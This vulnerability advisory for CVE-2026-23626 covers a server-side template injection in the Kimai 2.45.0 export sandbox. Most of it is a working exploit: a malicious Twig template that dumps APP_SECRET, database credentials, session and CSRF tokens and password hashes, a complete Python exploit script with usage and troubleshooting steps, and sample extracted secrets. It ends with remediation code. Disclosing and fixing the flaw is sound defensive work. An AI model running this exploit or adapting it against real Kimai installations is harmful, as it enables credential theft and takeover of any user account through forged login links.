CVE-2026-23626 is a medium severity vulnerability with a CVSS score of 6.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |
Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.
Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:
.pdf.twig template in /opt/kimai/var/export/ via:
The test environment contains 2 users whose password hashes were successfully extracted:
Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />
| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLE_SUPER_ADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes |
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
i:0;O:15:"App\Entity\User":5:{
s:2:"id";i:1;
s:8:"username";s:5:"admin";
s:7:"enabled";b:1;
s:5:"email";s:17:"[email protected]";
s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
}
i:1;b:1;i:2;N;i:3;a:0:{}
i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
}
}
3. CURRENT USER DETAILS
username: admin
email: [email protected]
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
src/Twig/SecurityPolicy/ExportPolicy.phpThe export functionality uses ExportPolicy which includes DefaultPolicy:
$this->policy->addPolicy(new DefaultPolicy());
src/Twig/SecurityPolicy/DefaultPolicy.phpfinal class DefaultPolicy implements SecurityPolicyInterface
{
public function checkSecurity($tags, $filters, $functions): void
{
// EMPTY - No restrictions on Twig tags/filters/functions
}
public function checkMethodAllowed($obj, $method): void
{
// EMPTY - Allows ANY method call on ANY object
}
public function checkPropertyAllowed($obj, $property): void
{
// EMPTY - Allows ANY property access on ANY object
}
}
This allows templates to call methods like:
app.request.server.get("APP_SECRET") - Environment variable accessapp.session.get("_security_secured_area") - Session data accessentry.user.password - Password hash accessSave the following as /opt/kimai/var/export/ssti-extract.pdf.twig:
docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>SSTI Data Extraction</title>
<style>
body { font-family: monospace; font-size: 10px; }
h1, h2 { color: #333; }
pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
</style>
</head>
<body>
<h1>===SSTI_EXTRACTION_START===</h1>
<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>
<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>
<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>
<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>
<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>
<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>
<h1>===SSTI_EXTRACTION_END===</h1>
</body>
</html>
TEMPLATE'
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
pdftotext kimai_extracted_data.pdf -
# Install Python dependencies
pip install requests
# Install PDF text extraction tool
sudo apt install poppler-utils
python3 ssti_exploit.py <target_url> <username> <password> [template_name]
Arguments:
target_url - Kimai instance URL (e.g., http://localhost:8001)
username - Valid admin username with export permissions
password - User password
template_name - Optional: custom template (default: ssti-extract.pdf.twig)
# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf
============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}
3. CURRENT USER DETAILS
username: admin
email: [email protected]
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found
[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf
| File | Description |
|------|-------------|
| kimai_extracted_data.pdf | PDF containing all extracted sensitive data |
# Extract text from PDF
pdftotext kimai_extracted_data.pdf -
# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt
# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"
| Error Message | Cause | Solution |
|---------------|-------|----------|
| Cannot connect to <url> | Target unreachable | Check URL and network |
| Authentication failed | Wrong credentials | Verify username/password |
| Template not found | Template not deployed | Deploy template first (Step 1) |
| Access denied | Insufficient permissions | Use admin account with export perms |
| pdftotext not installed | Missing tool | Run apt install poppler-utils |
#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens
Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig
Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
Author: Security Research
Date: 2026-01-05
"""
import requests
import re
import subprocess
import sys
import os
class KimaiSSTIExploit:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
def login(self):
"""Authenticate to Kimai"""
print(f"[*] Connecting to {self.target}")
try:
login_page = self.session.get(f"{self.target}/en/login", timeout=10)
except requests.exceptions.ConnectionError:
raise Exception(f"Cannot connect to {self.target}")
except requests.exceptions.Timeout:
raise Exception(f"Connection timeout to {self.target}")
if login_page.status_code != 200:
raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")
csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
if not csrf_match:
raise Exception("CSRF token not found on login page")
csrf = csrf_match.group(1)
print(f"[*] Authenticating as {self.username}")
login_resp = self.session.post(
f"{self.target}/en/login_check",
data={
"_username": self.username,
"_password": self.password,
"_csrf_token": csrf
},
allow_redirects=True,
timeout=10
)
# Check for successful login
if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
raise Exception("Invalid username or password")
raise Exception("Authentication failed - check credentials")
print(f"[+] Successfully authenticated as {self.username}")
return True
def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
"""Trigger SSTI via export functionality"""
print(f"[*] Triggering SSTI with template: {template_name}")
try:
export_resp = self.session.post(
f"{self.target}/en/export/data",
data={
"renderer": template_name,
"state": "3", # All states
"billable": "0", # All billable states
"exported": "5", # All export states
"markAsExported": "0",
},
timeout=60
)
except requests.exceptions.Timeout:
raise Exception("Export request timed out")
if export_resp.status_code == 404:
raise Exception(f"Template '{template_name}' not found - deploy template first")
if export_resp.status_code == 403:
raise Exception("Access denied - user lacks export permissions")
if export_resp.status_code != 200:
raise Exception(f"Export failed: HTTP {export_resp.status_code}")
if b'%PDF' not in export_resp.content[:10]:
if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
raise Exception("Template rendering error - check template syntax")
raise Exception("Invalid response - expected PDF output")
print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
return export_resp.content
def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
"""Extract text from PDF using pdftotext"""
with open(output_path, "wb") as f:
f.write(pdf_content)
try:
result = subprocess.run(
["pdftotext", output_path, "-"],
capture_output=True,
text=True,
timeout=30
)
if result.returncode != 0:
print(f"[-] pdftotext error: {result.stderr}")
return None
return result.stdout
except FileNotFoundError:
print("[-] pdftotext not installed")
print(" Install with: apt install poppler-utils")
return None
except subprocess.TimeoutExpired:
print("[-] pdftotext timed out")
return None
def parse_findings(self, text):
"""Parse and categorize extracted data"""
findings = {
"app_secret": None,
"database_url": None,
"password_hashes": [],
"session_token": None,
"csrf_tokens": []
}
lines = text.split('\n')
for i, line in enumerate(lines):
line = line.strip()
if "APP_SECRET:" in line:
findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()
if "DATABASE_URL:" in line or "mysql://" in line:
if "mysql://" in line:
findings["database_url"] = line.strip()
elif i + 1 < len(lines):
findings["database_url"] = lines[i + 1].strip()
if "$2y$" in line:
findings["password_hashes"].append(line)
if "UsernamePasswordToken" in line:
findings["session_token"] = "Present (serialized PHP object)"
if "_csrf" in line.lower() or len(line) == 43:
if ":" in line:
findings["csrf_tokens"].append(line)
return findings
def print_banner():
print("""
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
""")
def main():
print_banner()
if len(sys.argv) < 4:
print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
print()
print("Arguments:")
print(" target_url - Kimai instance URL (e.g., http://localhost:8001)")
print(" username - Valid admin username")
print(" password - User password")
print(" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
print()
print("Example:")
print(" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
print()
print("Prerequisites:")
print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
print(" 2. User must have export permissions (ROLE_ADMIN or higher)")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"
exploit = KimaiSSTIExploit(target, username, password)
try:
# Step 1: Authenticate
exploit.login()
# Step 2: Trigger SSTI
pdf_content = exploit.trigger_ssti(template)
# Step 3: Save PDF
output_file = "kimai_extracted_data.pdf"
with open(output_file, "wb") as f:
f.write(pdf_content)
print(f"[+] PDF saved to: {output_file}")
# Step 4: Extract and display text
text = exploit.extract_text(pdf_content)
if text:
print()
print("="*60)
print("RAW EXTRACTED DATA:")
print("="*60)
print(text[:2000])
if len(text) > 2000:
print(f"\n... [{len(text) - 2000} more characters]")
# Parse findings
findings = exploit.parse_findings(text)
print()
print("="*60)
print("CRITICAL FINDINGS SUMMARY:")
print("="*60)
if findings["app_secret"]:
print(f"[!] APP_SECRET: {findings['app_secret']}")
if findings["database_url"]:
print(f"[!] DATABASE_URL: {findings['database_url']}")
if findings["password_hashes"]:
unique_hashes = list(set(findings["password_hashes"]))
print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
for h in unique_hashes[:5]:
print(f" {h[:80]}...")
if len(unique_hashes) > 5:
print(f" ... and {len(unique_hashes) - 5} more")
if findings["session_token"]:
print(f"[!] Session Token: {findings['session_token']}")
if findings["csrf_tokens"]:
print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")
print()
print("[+] Exploitation successful!")
print(f"[+] Full output saved to: {output_file}")
return 0
except KeyboardInterrupt:
print("\n[-] Interrupted by user")
return 130
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())
| Extracted Data | Security Impact |
|---------------|-----------------|
| APP_SECRET | Can forge Symfony login links to access ANY user account |
| DATABASE_URL | Direct database connection credentials exposed |
| Password Hashes | Offline password cracking possible (bcrypt) |
| Session Tokens | Session structure analysis, potential replay attacks |
| CSRF Tokens | Bypass CSRF protection for subsequent attacks |
APP_SECRETAPP_SECRET to forge login link for target userReplace DefaultPolicy with InvoicePolicy in ExportPolicy:
// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());
// To:
$this->policy->addPolicy(new InvoicePolicy());
Block environment access in templates:
public function checkMethodAllowed($obj, $method): void
{
if ($obj instanceof Request && $method === 'getServer') {
throw new SecurityError('Server access not allowed');
}
}
Block session access in templates:
if ($obj instanceof Session) {
throw new SecurityError('Session access not allowed');
}
Restrict User object property access:
if ($obj instanceof User && $method === 'getPassword') {
throw new SecurityError('Password access not allowed');
}
Reported by: Mahammad Huseynkhanli
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.